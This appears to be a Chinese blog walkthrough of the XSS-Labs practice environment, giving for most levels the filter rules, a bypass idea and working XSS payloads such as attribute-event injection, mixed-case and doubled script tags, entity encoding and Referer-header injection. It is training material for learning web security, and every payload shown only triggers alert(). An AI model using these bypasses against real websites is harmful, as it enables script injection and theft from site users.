XSS-Labs
下载地址
https://github.com/do0dl3/xss-labs
通过网盘分享的文件:xss-labs-master.zip
链接: https://pan.baidu.com/s/1KWQFyy2ynWkIAERK3aK3-Q?pwd=xbaq 提取码: xbaq
第一关
- 无过滤
- 无限制
第二关
规则:使用了HTMLspecialchars()函数 <>'"等被转义为HTML字符实体
思路:并没有对敏感字符进行编码和过滤,闭合value的引号,以及后面的引号或者再加上右边的//注释原先的">
Payload:
"><script>alert('xss')</script>//
"onmouseover="alert(1)
第三关
规则:使用了HTMLspecialchars()函数对<>'"等被转义为HTML字符实体
思路:使用了,单引号闭合,闭合前后单引号。添加on开头的属性事件,例如:onmouseover,onfocus等
Payload:
'onmouseover='alert(1)
'onfocus=javascript:alert('xss') > //
第四关
规则: 删除了<>等
思路:闭合前后双引号,添加属性事件
Payload:
"onmouseover="alert(1)
"onfocus=javascript:alert('xss') //
第五关
规则:
- 对 script 的 s 和 r 进⾏了 _ 分隔
- 对 on 的 o 和 n 进⾏ _ 分隔
- 全写的转换
思路:闭合前后引号,构造新的标签 例如 ,添加事件属性 href
Payload:
"> <a HrEf=javascript:alert('xss') > xss</a> //
"><a href=javascript:alert(1)>1</a>
第六关
规则:
- <和> 等被编码了
- script和on字符中被插⼊_破坏语义
- 构造的标签⽆法使⽤
思路:没有进行大小写转换,可以大小写混用
Payload:
<SCriPt>alert('xss')</scRiPt>
"Onmouseover="alert(1)
第七关
规则:
- 过滤了(删除)on、script
- 过滤了(删除)src、data、href
- 对参数转换为⼩写
思路:双写嵌套script,或on
Payload:
"><scriscriptpt>alert(111)</scriscriptpt>
"oonnmouseover="alert(1)
第八关
规则:
- <和>、"、' 等被编码了
- script和on字符中被插⼊_破坏语义
- 构造的标签⽆法使⽤
- 对参数转换为⼩写
思路:将payload转换为html编码
Payload:
javascript:a&#
x6c;ert(1)
第九关
规则:
- <和>、"、' 等被编码了
- script和on字符中被插⼊_破坏语义
- 构造的标签⽆法使⽤
- 对参数转换为⼩写
- 判断字符中是否有http://的链接
思路:转换为html编码,再加上http://的参数(注释掉)
Payload:
javascript:alert(/xss/)/*http://*/
javascript:alert('xss')//http://www.baidu.com
第十关
规则:
- 标签隐藏
- 删除t_sort参数值中的<和>
思路:审计元素⾥有type="hidden"属性隐藏域, 隐藏的传参,闭合语句,构造 type 为 text 属性和 oncl
ick 事件 尝试每个传参
Payload:
" type='text' onclick="alert(1)
" type='text' onclick="javascript:alert(1)
第十一关
规则:
- 标签隐藏
- 删除t_sort等参数值中的<和>
- 转义字符
思路:
第⼗⼀关,⽐第⼗关多了⼀个 ref的参数,通过服务器返回打印从哪路来,但是传参在js脚本
可以使⽤burp构造referer头,结合 闭合语句 及属性事件。
源码中的input有type="hidden"属性隐藏域,需要构建新的type类型
Payload:
referer:" type='text' onclick="javascript:alert(1)
"type="text" onmouseover="javascript:alert(1)
第十二关
数据包内user-agent传参,返还在⻚⾯内
第十三关
和cookie相关
第十四关
iframe调⽤的⽂件来实现xss注⼊
第十五关
ng-app的ng-include包含angular js,引⽤外部⽂件
构造src传参
第十六关
规则:
1.把script替换为空格
2.转义
3.删除/
4.空隙会被 填充
思路:
使用单标签xss,并使用回车符URL编码%0a
注意:html编码的回车是无效的
HTML编码对标签名 部分属性等无带入
第十七与第十八关
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论